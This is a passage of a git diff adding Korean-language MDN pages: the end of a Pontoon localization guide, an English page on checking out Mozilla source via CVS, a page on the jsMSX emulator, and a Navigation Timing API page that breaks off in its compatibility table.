+ <li>마우스를 번역할 문자위에 올려놓으세요.</li>
+ <li>문자위에 수정 버튼이 나타납니다. 클릭하여 번역 모드를 활성화하세요.</li>
+ <li>원본 문자를 여러분의 언어로 번역한 문자로 바꾸세요.</li>
+ <li>저장 버튼을 눌러 번역을 저장하세요.</li>
+</ol>
+
+<div>
+<h3 id="컨텍스트_밖에서">컨텍스트 밖에서</h3>
+
+<p>어떤 문자열은 컨텍스트 안에서 번역하는 것이 불가능합니다. 예를들면, 웹사이트의 &lt;title&gt; 태그 안의 내용과 유동적이거나 다양한 복수형 문자열이 있습니다. 메인 툴바의 햄버거 아이콘을 클릭하는 것으로 사이드바에 모든 번역가능한 문자열의 목록을 열 수 있습니다. 또한 컨텍스트 밖 지역화를 위해 사이드바를 사용할 수도 있습니다:</p>
+
+<p><img alt="Out-of-context localization: list" src="https://mdn.mozillademos.org/files/8337/out-of-context-1.png"> <img alt="Out-of-context localization: translate" src="https://mdn.mozillademos.org/files/8335/out-of-context-2.png"></p>
+
+<ol>
+ <li>번역할 문자열을 클릭하세요.</li>
+ <li>원본 문자열과 세부 사항(코멘트들)을 포함하는 번역 패널을 여세요.</li>
+ <li>아래 번역 공간에서 문자열을 번역하세요.</li>
+ <li>저장 버튼을 클릭해 번역을 저장하세요.</li>
+</ol>
+
+<p>만약 해당 문자열이 컨텍스트 안에서도 번역 가능한 것이라면 컨텍스트 밖에서 문자열을 번역한 것 처럼 웹사이트에 번역한 내용이 나타날 것입니다. </p>
+
+<h3 id="번역_도우미">번역 도우미</h3>
+</div>
+
+<p>보시다시피 번역 영역 바깥에 있는 히스토리, 번역 기록, 기계 번역 그리고 다른 로케일로부터 제안을 받으실 수 있습니다. 여러분이 문장을 번역하실 때 각 도우미들은 다음과 같이 도움을 드릴 것입니다:</p>
+
+<p><img alt="Translation helpers: History" src="https://mdn.mozillademos.org/files/8339/helpers-history.png"> <img alt="Translation helpers: Machinery" src="https://mdn.mozillademos.org/files/8341/helpers-machinery.png"> <img alt="Translation helpers: Other locales" src="https://mdn.mozillademos.org/files/8343/helpers-locales.png"> <img alt="Translation helpers: Search" src="https://mdn.mozillademos.org/files/8345/helpers-menu.png"></p>
+
+<h4 id="History">History</h4>
+
+<p>이전에 다른 사용자들이 사용했던 제안 번역을 표시합니다.</p>
+
+<h4 id="Machinery">Machinery</h4>
+
+<p>여러 서비스에서 사용된 예를 표시합니다: 내부적으로 저장된 번역 기록, <a href="http://transvision.mozfr.org/">Mozilla Transvision</a>, <a href="https://amagama-live.translatehouse.org/">open source translation memory</a>, <a href="http://www.microsoft.com/Language/">Microsoft terminology</a> 그리고 <a href="http://www.bing.com/translator">machine translation</a>.</p>
+
+<h4 id="Other_locales">Other locales</h4>
+
+<p>다른 로케일에서 사용한 번역을 표시합니다.</p>
+
+<h4 id="Search">Search</h4>
+
+<p>Almost like machinery, but takes provided keyword as input parameter instead of the original string.</p>
+
+<p>추천단어를 클릭하면, 번역 영역으로 내용이 복사됩니다.</p>
+
+<dl>
+</dl>
+
+<h2 id="게시하기">게시하기</h2>
+
+<p>이제 여러분은 repo 에 커밋하는 것으로 지역화 작업을 게시하실 것입니다. Pontoon 으로도 가능합니다! 실제로, Pontoon 은 시간 단위로 저장소와 자동으로 동기화됩니다. 이제 이 작업을 기념하기 위해 스스로 격려하거나, 가벼운 춤을 추거나, 잠을 자거나 또는 다른 것을 해도 좋습니다!</p>
diff --git a/files/ko/mozilla_source_code_via_cvs/index.html b/files/ko/mozilla_source_code_via_cvs/index.html
new file mode 100644
index 0000000000..bcd46453fc
--- /dev/null
+++ b/files/ko/mozilla_source_code_via_cvs/index.html
@@ -0,0 +1,136 @@
+---
+title: Mozilla Source Code Via CVS
+slug: Mozilla_Source_Code_Via_CVS
+---
+<p>Those doing active development can check out the latest source using CVS. This is the preferred method if you plan to provide patches and fix bugs, as it lets you get up-to-the-minute changes and merge them with your own.</p>
+<p>If you want to compile a product for release, it is generally better to <a href="ko/Download_Mozilla_Source_Code">Download Mozilla Source Code</a> tarballs.</p>
+<h3 id="Quick_Start_Guide" name="Quick_Start_Guide">Quick Start Guide</h3>
+<p><span class="comment">I seem to not be editing this page in what others on this development site deem appropriate. So, if you are going to just remove this section, can you please be so kind as to suggest an alternate title of a new page that I can put this information on? Thanks, Jeff Carr</span></p>
+<p>The basic steps to checkout the trunk (unstable) Firefox sources are:</p>
+<pre class="eval">cvs -d <a class="link-mailto" href="mailto::pserver:anonymous:anonymous@cvs-mirror.mozilla.org" rel="freelink">:pserver:anonymous:anonymous@cvs-mirror.mozilla.org</a>:/cvsroot co mozilla/client.mk
+cd mozilla
+make -f client.mk checkout MOZ_CO_PROJECT=browser
+</pre>
+<p>Note that on Windows, your source tree must be located at a /cygdrive/&lt;c&gt; mount point. It must not be located within your /home.</p>
+<h3 id="Getting_Started" name="Getting_Started">Getting Started</h3>
+<p>CVS means "Concurrent Versioning System". To learn more about CVS in general, visit <a class="external" href="http://ximbiot.com/cvs/manual/">ximbiot.com</a>, or read the <a class="external" href="http://ximbiot.com/cvs/cvshome/docs/blandy.html">tutorial</a>.</p>
+<p>Anyone can check out (also known as "pull" or "download") the sources via CVS, but only certain people have the ability to check in (make changes, also known as "commit"). Those people are the <a class="external" href="http://www.mozilla.org/owners.html">module owners</a> and their delegates. Read our document on <a class="external" href="http://www.mozilla.org/hacking/">hacking mozilla</a> to find out how to get the ability to check in. You may also wish to read about <a class="external" href="http://www.mozilla.org/cvs-ssh-faq.html">using SSH to connect to CVS</a>.</p>
+<h4 id="Requirements" name="Requirements">Requirements</h4>
+<p>To check out the sources, you need to be running <a class="external" href="http://www.nongnu.org/cvs/">CVS</a> 1.11 or later. 1.12.13 does not work with the CVS server, and instead results in hangs, although 1.12.9 is known to work. Furthermore, you must use <a class="external" href="http://www.gnu.org/software/make/">GNU make</a> to check out and build Mozilla. No other "make" program is acceptable. On windows, mac and regular GNU systems (like GNU/Linux), use "make" to run GNU make; on most non-GNU unixes (like e.g. Solaris, etc.), use "gmake".</p>
+<h3 id="CVS_Client_Settings" name="CVS_Client_Settings">CVS Client Settings</h3>
+<p>The "cvsroot" (repository identification string) used for anonymous access to Mozilla CVS is</p>
+<pre class="eval"><a class="link-mailto" href="mailto::pserver:anonymous:anonymous@cvs-mirror.mozilla.org" rel="freelink">:pserver:anonymous:anonymous@cvs-mirror.mozilla.org</a>:/cvsroot
+</pre>
+<p>If you are using a graphical CVS interface, use the following server data:</p>
+<ul>
+ <li><b>host</b>: "cvs-mirror.mozilla.org"</li>
+ <li><b>repository path</b>: "/cvsroot"</li>
+ <li><b>user</b>: "anonymous"</li>
+ <li><b>password</b>: "anonymous"</li>
+ <li><b>connection type</b>: pserver</li>
+ <li><b>port</b>: default (2401)</li>
+</ul>
+<h3 id="Selecting_a_Project_to_Pull" name="Selecting_a_Project_to_Pull">Selecting a Project to Pull</h3>
+<p>Since several different applications are built from the same basic source code, you must choose which application to checkout on the command line using the <code>MOZ_CO_PROJECT</code> variable. This information has to be supplied when it comes to the checkout of the actual source code (see the appropriate <a href="#Checkout">checkout</a> <a href="#Checkout_2">section</a> below, according to the branch you want to checkout). The possible options include the following:</p>
+<dl>
+ <dt>
+  browser </dt>
+ <dd>
+  The standalone "Firefox" browser.</dd>
+ <dt>
+  mail </dt>
+ <dd>
+  The standalone "Thunderbird" mail/news client.</dd>
+ <dt>
+  suite </dt>
+ <dd>
+  The traditional "Mozilla" SeaMonkey suite of browser, mail/news, composer, and other applications.</dd>
+ <dt>
+  minimo </dt>
+ <dd>
+  The standalone browser for small devices.</dd>
+ <dt>
+  composer </dt>
+ <dd>
+  The standalone HTML composer.</dd>
+ <dt>
+  calendar </dt>
+ <dd>
+  The standalone "Sunbird" calendar app.</dd>
+ <dt>
+  xulrunner </dt>
+ <dd>
+  The next-generation XUL application launcher.</dd>
+ <dt>
+  macbrowser </dt>
+ <dd>
+  The "Camino" native browser for Macintosh.</dd>
+ <dt>
+  all </dt>
+ <dd>
+  Check out sources for all of the above projects, plus some additional utility code</dd>
+</dl>
+<p>Multiple projects can be specified with commas: <code>MOZ_CO_PROJECT=suite,browser,xulrunner</code>.</p>
+<p><b>Note</b> that if you are using a custom &lt;tt&gt;<a href="ko/Configuring_Build_Options#Using_a_.mozconfig_Configuration_File">.mozconfig</a>&lt;/tt&gt; file, you can also specify <code>MOZ_CO_PROJECT</code> there, instead of including it on the command line.</p>
+<h3 id="Checking_Out_a_New_Source_Tree" name="Checking_Out_a_New_Source_Tree">Checking Out a New Source Tree</h3>
+<h4 id="Check_Tinderbox" name="Check_Tinderbox">Check Tinderbox</h4>
+<p>Before pulling a tree, you should always check the appropriate <a href="ko/Tinderbox">Tinderbox</a> to make sure that the codebase is not broken. If there are red tinderboxes, it is usually advisable to wait until they are green before pulling a tree.</p>
+<h4 id="Branch_HEAD" name="Branch_HEAD">Branch HEAD</h4>
+<p>To check out a new source tree from scratch, get the &lt;tt&gt;client.mk&lt;/tt&gt; file which contains makefile instructions which are used to pull the rest of the tree:</p>
+<pre class="eval">$ cvs -d <a class="link-mailto" href="mailto::pserver:anonymous:anonymous@cvs-mirror.mozilla.org" rel="freelink">:pserver:anonymous:anonymous@cvs-mirror.mozilla.org</a>:/cvsroot co mozilla/client.mk
+</pre>
+<p>Note: if you have already set up a &lt;tt&gt;<a href="ko/Configuring_Build_Options#Using_a_.mozconfig_Configuration_File">.mozconfig</a>&lt;/tt&gt; file, you may also need to check out the following files:</p>
+<dl>
+ <dt>
+  Firefox </dt>
+ <dd>
+  <pre>cvs -d :pserver:anonymous:anonymous@cvs-mirror.mozilla.org:/cvsroot co mozilla/browser/config/mozconfig</pre>
+ </dd>
+ <dt>
+  Thunderbird </dt>
+ <dd>
+  <pre>cvs -d :pserver:anonymous:anonymous@cvs-mirror.mozilla.org:/cvsroot co mozilla/mail/config/mozconfig</pre>
+ </dd>
+</dl>
+<h4 id="Specific_Branch" name="Specific_Branch">Specific Branch</h4>
+<p>If you want to check out the source code of a specific <a class="external" href="http://ximbiot.com/cvs/wiki/index.php?title=CVS--Concurrent_Versions_System_v1.12.12.1:_Branching_and_merging">CVS branch</a>, use</p>
+<pre class="eval">$ cvs -d <a class="link-mailto" href="mailto::pserver:anonymous:anonymous@cvs-mirror.mozilla.org" rel="freelink">:pserver:anonymous:anonymous@cvs-mirror.mozilla.org</a>:/cvsroot co -r BRANCH mozilla/client.mk
+</pre>
+<p>instead. To, for example, pull the Firefox 2.0 development branch, replace BRANCH above with MOZILLA_1_8_BRANCH. For available branch tags in Mozilla, see <a href="ko/CVS_Tags">CVS Tags</a>.</p>
+<p>The information on pulling project specific <code>.mozconfig</code> files as listed in the <a href="#Branch_HEAD">previous section</a> apply to other branches than HEAD as well of course.</p>
+<h4 id="Checkout" name="Checkout">Checkout</h4>
+<p>After having chosen the correct branch, run:</p>
+<pre class="eval">$ cd mozilla
+$ make -f client.mk checkout MOZ_CO_PROJECT=<i>option,option</i>
+</pre>
+<p>As mentioned above, if you are using a custom <code>.mozconfig</code> file where you have already specified the <code>MOZ_CO_PROJECT</code> variable, you do not need to repeat it here on command line.</p>
+<div class="note">
+ Always use &lt;tt&gt;client.mk&lt;/tt&gt; to checkout the Mozilla sources: do not check out the &lt;tt&gt;mozilla/&lt;/tt&gt; module directly. Various subprojects such as NSS, NSPR, and LDAP C SDK are pulled from stable release tags, even when regular mozilla development occurs on the trunk.</div>
+<h3 id="Updating_a_Source_Tree" name="Updating_a_Source_Tree">Updating a Source Tree</h3>
+<h4 id="Branch_HEAD_2" name="Branch_HEAD_2">Branch HEAD</h4>
+<p>In order to update a source tree (be it branch HEAD or a specific branch) to latest branch HEAD, run:</p>
+<pre class="eval">$ cd mozilla
+$ cvs up -A client.mk
+</pre>
+<p>The -A option removes any "sticky branch" information, which leads to the effect that the tree is updated to HEAD.</p>
+<h4 id="Specific_Branch_2" name="Specific_Branch_2">Specific Branch</h4>
+<p>To update a source tree which was pulled from a specific branch, use</p>
+<pre class="eval">$ cd mozilla
+$ cvs up -r BRANCH client.mk
+</pre>
+<p>instead. Replace BRANCH by the tag of the branch you want to update.</p>
+<h4 id="Checkout_2" name="Checkout_2">Checkout</h4>
+<p>Having updated client.mk, you can do the checkout:</p>
+<pre class="eval">$ make -f client.mk checkout MOZ_CO_PROJECT=<i>option,option</i>
+</pre>
+<p>As always, if you use a custom <code>.mozconfig</code> file where <code>MOZ_CO_PROJECT</code> is already defined, you do not need to repeat it on command line.</p>
+<h3 id="Creating_a_Diff_File" name="Creating_a_Diff_File">Creating a Diff File</h3>
+<p>In order to create a diff of a single local file against the current file in the repository, use:</p>
+<pre class="eval">$ cvs diff -u8p FILENAME
+</pre>
+<p>See <a href="ko/Creating_a_patch">Creating a patch</a> for more information.</p>
+<h3 id="Converting_a_Downloaded_Source_Tree" name="Converting_a_Downloaded_Source_Tree">Converting a Downloaded Source Tree</h3>
+<p>Downloaded source trees from mozilla.org (<a href="ko/Download_Mozilla_Source_Code">source tarballs</a>) are already set up with CVS information, like a normal checkout. You can update these trees like normal trees to the latest code, without special action. See previous section on how to update a source tree.</p>
+<p><br>
+ <span class="comment">interwiki link</span></p>
+<p>{{ languages( { "fr": "fr/Obtenir_le_code_source_de_Mozilla_via_CVS", "ja": "ja/Mozilla_Source_Code_Via_CVS", "zh-cn": "cn/\u901a\u8fc7CVS\u83b7\u53d6\u6e90\u7801" } ) }}</p>
diff --git a/files/ko/msx_emulator_(jsmsx)/index.html b/files/ko/msx_emulator_(jsmsx)/index.html
new file mode 100644
index 0000000000..2ddf77ccfd
--- /dev/null
+++ b/files/ko/msx_emulator_(jsmsx)/index.html
@@ -0,0 +1,28 @@
+---
+title: MSX Emulator (jsMSX)
+slug: MSX_Emulator_(jsMSX)
+translation_of: Archive/Web/MSX_Emulator_(jsMSX)
+---
+<p> </p>
+<h3 id="What_is_it.3F" name="What_is_it.3F">간략한 소개</h3>
+<p><strong>jsMSX</strong> 는 100% <a href="/en/JavaScript" style="line-height: 1.5;" title="en/JavaScript">JavaScript</a>로만 구현한 <span style="line-height: 1.5;">첫 </span><a class="external" href="http://en.wikipedia.org/wiki/MSX" style="line-height: 1.5;">MSX</a><span style="line-height: 1.5;"> 에뮬레이터입니다. </span></p>
+<p>MSX 팬이라면 잘 알고 계시는 <a class="external" href="http://en.wikipedia.org/wiki/Z80">Z80 CPU</a>, <a class="external" href="http://en.wikipedia.org/wiki/TMS9918">TMS9918 Video Display Processor (VDP)</a>, PPI, RAM slots, 그리고 Megaram 등을 에뮬레이션합니다. MSX1.0 기반으로 개발된 다양한 프로그램이나 게임을 실행할 수 있습니다.</p>
+<p>JavaScript는 웹브라우저 상에서 가장 활발히 사용하는 스크립트 언어이지만 C언어나 Java언어에 비해서는 성능이 많이 떨어집니다. 따라서, jSMSX가 초당 5~60번의 인터럽트를 처리하려면 상당히 빠른 컴퓨터가 필요합니다. </p>
+<h3 id="Why.3F" name="Why.3F">구현 이유?</h3>
+<p>개발 동기는  <a href="/en/Drawing_Graphics_with_Canvas" title="en/Drawing_Graphics_with_Canvas">&lt;canvas&gt; tag</a> 의 기능을 많은 사람들에게 알리는데 적당하겠다고 생각했고 <a href="/en/Firefox_2_for_developers" title="en/Firefox_2_for_developers">Firefox 2</a> 브라우저가 이런 기능을 잘  지원하였습니다.</p>
+<p>아시다시피 javascript의 성능이 그리 좋지 않아 많은 해결해야할 도전 과제들이 있습니다. jsMSX는 javascript의 성능을 평가하고 이를 개선하는데 비교 자료로 사용될 수 있습니다.</p>
+<p>jsMSX는 웹 로직과 MSX 프로그램을 긴밀하게 연결하는데 사용할 수 있을 것입니다.</p>
+<h3 id="How_to_help" name="How_to_help">도울 수 있는 방법</h3>
+<p>성능 향상이 필요한 많은 일들이 있고, MSX 2.0, MSX 2.0+ 그리고 TurboR 기능들도 여전히 구현이 필요한 부분으로 남아있습니다. 버젼 1.0은 MSX1.0에 적합하도록 최적화된 뒤에 릴리즈될 예정입니다. 버젼 2.0, 3.0 그리고 4.0도 각각 MSX 2.0, 2.0+ 그리고 TurboR에 각각 대응되어 릴리즈할 생각입니다.</p>
+<p>zip파을을 풀 수 있는 JavaScript 펑션이 압축된 ROM을 읽고 풀어내는데 도움이 될 것입니다. 이러한 다양한 일에 참여를 원한다면,다음을 방문해주세요. <a class="external" href="http://sourceforge.net/projects/jsmsx">please have a look at the project</a>, <a class="external" href="http://sourceforge.net/forum/?group_id=175343">please drop a line to the project forum</a>.</p>
+<h3 id="External_Links" name="External_Links">링크</h3>
+<ul>
+ <li><a class="external" href="http://jsmsxdemo.googlepages.com/jsmsx.html">View the online demo (requires Firefox 2+)</a></li>
+ <li><a class="external" href="http://jsmsx.sourceforge.net">jsMSX Project</a></li>
+</ul>
+<h3 id="See_Also" name="See_Also">참고</h3>
+<ul>
+ <li><a href="/en/Drawing_Graphics_with_Canvas" title="en/Drawing_Graphics_with_Canvas">Drawing Graphics with Canvas</a></li>
+ <li><a href="/en/Canvas_tutorial" title="en/Canvas_tutorial">Canvas tutorial</a></li>
+ <li><a class="external" href="http://www.kingsquare.nl/jsc64" title="http://www.kingsquare.nl/jsc64">jsC64 The 100% JavaScript / Canvas Commodore 64 emulator</a></li>
+</ul>
diff --git a/files/ko/navigation_timing/index.html b/files/ko/navigation_timing/index.html
new file mode 100644
index 0000000000..c9a0c1465b
--- /dev/null
+++ b/files/ko/navigation_timing/index.html
@@ -0,0 +1,137 @@
+---
+title: 내비게이션 타이밍(Navigation Timing)
+slug: Navigation_timing
+translation_of: Web/API/Navigation_timing_API
+---
+<p><strong>Navigation Timing API</strong>는 웹 사이트의 성능을 측정하는 데 사용할 수 있는 데이터를 제공합니다. 같은 목적에 사용했던 다른 JavaScript 기반 메커니즘과 다르게 이 API는 더 유용하고 정확한 종단 간(end-to-end) 대기 시간(latency)을 제공할 수 있습니다.</p>
+<p>다음 예제는 지각하는(perceived) 로딩 시간을 측정하는 법을 보여줍니다.</p>
+<pre>function onLoad() {
+  var now = new Date().getTime();
+  var page_load_time = now - performance.timing.navigationStart;
+  console.log("User-perceived page loading time: " + page_load_time);
+}
+</pre>
+<p>{{domxref("PerformanceTiming")}} 인터페이스로 접근할 수 있는 밀리 초 단위로 주어진 측정된 이벤트가 많이 있습니다. 발생하는 순서로 된 이벤트 목록입니다.</p>
+<ul>
+ <li>navigationStart</li>
+ <li>unloadEventStart</li>
+ <li>unloadEventEnd</li>
+ <li>redirectStart</li>
+ <li>redirectEnd</li>
+ <li>fetchStart</li>
+ <li>domainLookupStart</li>
+ <li>domainLookupEnd</li>
+ <li>connectStart</li>
+ <li>connectEnd</li>
+ <li>secureConnectionStart</li>
+ <li>requestStart</li>
+ <li>responseStart</li>
+ <li>responseEnd</li>
+ <li>domLoading</li>
+ <li>domInteractive</li>
+ <li>domContentLoadedEventStart</li>
+ <li>domContentLoadedEventEnd</li>
+ <li>domComplete</li>
+ <li>loadEventStart</li>
+ <li>loadEventEnd</li>
+</ul>
+<p><code>window.performance.navigation</code> 객체는 리다이렉트(redirect), 앞/뒤 버튼, 혹은 보통의 URL 로딩이 어떤 페이지 로드를 일으키는지(trigger) 아는 데 사용할 수 있는 두 속성을 저장합니다.</p>
+<p>window.performance.navigation.type:</p>
+<table class="standard-table" style="font-size: 14px;">
+ <thead>
+  <tr>
+   <th scope="col">상수</th>
+   <th scope="col">값</th>
+   <th scope="col">설명</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><a name="const_next"><code>TYPE_NAVIGATENEXT</code></a></td>
+   <td>0</td>
+   <td>아래 목록의 TYPE_RELOAD과 TYPE_BACK_FORWARD가 사용하는 것 외에, 링크 클릭하기, 사용자 에이전트(UA) 주소 바에 URL 입력하기, 폼 전송, 스크립트 연산으로 초기화하기로 시작한 내비게이션.</td>
+  </tr>
+  <tr>
+   <td><a name="const_next_no_duplicate"><code>TYPE_RELOAD</code></a></td>
+   <td>1</td>
+   <td>리로드(reload) 연산 혹은 location.reload() 메소드를 통한 내비게이션.</td>
+  </tr>
+  <tr>
+   <td><a name="const_prev"><code>TYPE_BACK_FORWARD</code></a></td>
+   <td>2</td>
+   <td>히스토리 순회(traversal) 연산을 통한 내비게이션</td>
+  </tr>
+  <tr>
+   <td><a name="const_prev_no_duplicate"><code>TYPE_UNDEFINED</code></a></td>
+   <td>255</td>
+   <td>위 값으로 정의되지 않는 어떠한 내비게이션 타입.</td>
+  </tr>
+ </tbody>
+</table>
+<p><code>window.performance.navigation.redirectCount</code>는 마지막 페이지에 도달할 때까지, 만일 있다면 몇 번의 리다이렉션이 일어났는지를 나타냅니다.</p>
+<p>Navigation Timing API는 XHR로 서버에 보낸 클라이언트 쪽 성능 데이터를 모을 뿐 아니라 이전 페이지 언로드(unload) 시간, 도메인 룩업(look up) 시간, window.onload 전체 시간 등 다른 방법으로 측정하기 매우 어려운 데이터를 측정하는 데 사용할 수 있습니다.</p>
+<h3 id="예제">예제</h3>
+<p>어떤 페이지를 로딩하는 데 필요한 전체 시간 계산하기.</p>
+<pre>var perfData = window.performance.timing;
+var pageLoadTime = perfData.loadEventEnd - perfData.navigationStart;
+</pre>
+<p>요청 응답 시간 계산하기.</p>
+<pre>var connectTime = perfData.responseEnd - perfData.requestStart;</pre>
+<h3 id="Browser_Compatibility" name="Browser_Compatibility">링크</h3>
+<ul>
+ <li><a class="external" href="http://webtimingdemo.appspot.com/" title="http://webtimingdemo.appspot.com/">Test Page</a></li>
+ <li><a class="external" href="http://w3c-test.org/webperf/specs/NavigationTiming/" title="http://w3c-test.org/webperf/specs/NavigationTiming/">http://w3c-test.org/webperf/specs/NavigationTiming/</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/navigation-timing/" title="http://www.w3.org/TR/navigation-timing/">http://www.w3.org/TR/navigation-timing/</a></li>
+</ul>
+<h3 id="Browser_Compatibility" name="Browser_Compatibility">브라우저 호환</h3>
+<p style="margin-top: 0px; margin-right: 0px; margin-bottom: 1.286em; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;">{{ CompatibilityTable() }}</p>
+<div id="compat-desktop">
+ <table class="compat-table" style="font-size: 14px; margin-bottom: 1.286em; border-collapse: collapse; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: dotted; border-right-style: dotted; border-bottom-style: dotted; border-left-style: dotted;">
+  <tbody>
+   <tr>
+    <th style="font-family: inherit; font-size: inherit; color: inherit; padding-top: 0px; padding-right: 5px; padding-bottom: 0px; padding-left: 5px; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: dotted; border-right-style: dotted; border-bottom-style: dotted; border-left-style: dotted; background-clip: initial; background-color: rgb(238, 238, 238); text-align: left; font-weight: bold;">Feature</th>
+    <th style="font-family: inherit; font-size: inherit; color: inherit; padding-top: 0px; padding-right: 5px; padding-bottom: 0px; padding-left: 5px; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: dotted; border-right-style: dotted; border-bottom-style: dotted; border-left-style: dotted; background-clip: initial; background-color: rgb(238, 238, 238); text-align: left; font-weight: bold;">Chrome**</th>
+    <th style="font-family: inherit; font-size: inherit; color: inherit; padding-top: 0px; padding-right: 5px; padding-bottom: 0px; padding-left: 5px; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: dotted; border-right-style: dotted; border-bottom-style: dotted; border-left-style: dotted; background-clip: initial; background-color: rgb(238, 238, 238); text-align: left; font-weight: bold;">Firefox (Gecko)*</th>
+    <th style="font-family: inherit; font-size: inherit; color: inherit; padding-top: 0px; padding-right: 5px; padding-bottom: 0px; padding-left: 5px; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: dotted; border-right-style: dotted; border-bottom-style: dotted; border-left-style: dotted; background-clip: initial; background-color: rgb(238, 238, 238); text-align: left; font-weight: bold;">Internet Explorer</th>
+    <th style="font-family: inherit; font-size: inherit; color: inherit; padding-top: 0px; padding-right: 5px; padding-bottom: 0px; padding-left: 5px; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: dotted; border-right-style: dotted; border-bottom-style: dotted; border-left-style: dotted; background-clip: initial; background-color: rgb(238, 238, 238); text-align: left; font-weight: bold;">Opera*</th>
+    <th style="font-family: inherit; font-size: inherit; color: inherit; padding-top: 0px; padding-right: 5px; padding-bottom: 0px; padding-left: 5px; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: dotted; border-right-style: dotted; border-bottom-style: dotted; border-left-style: dotted; background-clip: initial; background-color: rgb(238, 238, 238); text-align: left; font-weight: bold;">Safari (WebKit)</th>
+   </tr>
+   <tr>
+    <td style="font-family: inherit; font-size: inherit; color: inherit; padding-top: 5px; padding-right: 5px; padding-bottom: 5px; padding-left: 5px; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: dotted; border-right-style: dotted; border-bottom-style: dotted; border-left-style: dotted; text-align: left; background-clip: initial; background-color: rgb(255, 255, 255); vertical-align: top; word-wrap: break-word;">Basic support</td>
+    <td style="font-family: inherit; font-size: inherit; color: inherit; padding-top: 5px; padding-right: 5px; padding-bottom: 5px; padding-left: 5px; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: dotted; border-right-style: dotted; border-bottom-style: dotted; border-left-style: dotted; text-align: left; background-clip: initial; background-color: rgb(255, 255, 255); vertical-align: top; word-wrap: break-word;">
+     <p style="margin-top: 0px; margin-right: 0px; margin-bottom: 1.286em; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;">6</p>
+    </td>
+    <td style="font-family: inherit; font-size: inherit; color: inherit; padding-top: 5px; padding-right: 5px; padding-bottom: 5px; padding-left: 5px; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: dotted; border-right-style: dotted; border-bottom-style: dotted; border-left-style: dotted; text-align: left; background-clip: initial; background-color: rgb(255, 255, 255); vertical-align: top; word-wrap: break-word;">
+     <p style="margin-top: 0px; margin-right: 0px; margin-bottom: 1.286em; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;">7</p>
+     <p style="margin-top: 0px; margin-right: 0px; margin-bottom: 1.286em; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;"> </p>
+    </td>
+    <td style="font-family: inherit; font-size: inherit; color: inherit; padding-top: 5px; padding-right: 5px; padding-bottom: 5px; padding-left: 5px; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: dotted; border-right-style: dotted; border-bottom-style: dotted; border-left-style: dotted; text-align: left; background-clip: initial; background-color: rgb(255, 255, 255); vertical-align: top; word-wrap: break-word;">9</td>
+    <td style="font-family: inherit; font-size: inherit; color: inherit; padding-top: 5px; padding-right: 5px; padding-bottom: 5px; padding-left: 5px; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: dotted; border-right-style: dotted; border-bottom-style: dotted; border-left-style: dotted; text-align: left; background-clip: initial; background-color: rgb(255, 255, 255); vertical-align: top; word-wrap: break-word;">15</td>
+    <td style="font-family: inherit; font-size: inherit; color: inherit; padding-top: 5px; padding-right: 5px; padding-bottom: 5px; padding-left: 5px; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: dotted; border-right-style: dotted; border-bottom-style: dotted; border-left-style: dotted; text-align: left; background-clip: initial; background-color: rgb(255, 255, 255); vertical-align: top; word-wrap: break-word;">{{ CompatNo() }}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table" style="font-size: 14px; margin-bottom: 1.286em; border-collapse: collapse; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: dotted; border-right-style: dotted; border-bottom-style: dotted; border-left-style: dotted;">
+  <tbody>
+   <tr>
+    <th style="font-family: inherit; font-size: inherit; color: inherit; padding-top: 0px; padding-right: 5px; padding-bottom: 0px; padding-left: 5px; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: dotted; border-right-style: dotted; border-bottom-style: dotted; border-left-style: dotted; background-clip: initial; background-color: rgb(238, 238, 238); text-align: left; font-weight: bold;">Feature</th>
+    <th style="font-family: inherit; font-size: inherit; color: inherit; padding-top: 0px; padding-right: 5px; padding-bottom: 0px; padding-left: 5px; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: dotted; border-right-style: dotted; border-bottom-style: dotted; border-left-style: dotted; background-clip: initial; background-color: rgb(238, 238, 238); text-align: left; font-weight: bold;">Android</th>
+    <th style="font-family: inherit; font-size: inherit; color: inherit; padding-top: 0px; padding-right: 5px; padding-bottom: 0px; padding-left: 5px; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: dotted; border-right-style: dotted; border-bottom-style: dotted; border-left-style: dotted; background-clip: initial; background-color: rgb(238, 238, 238); text-align: left; font-weight: bold;">Firefox Mobile (Gecko)</th>
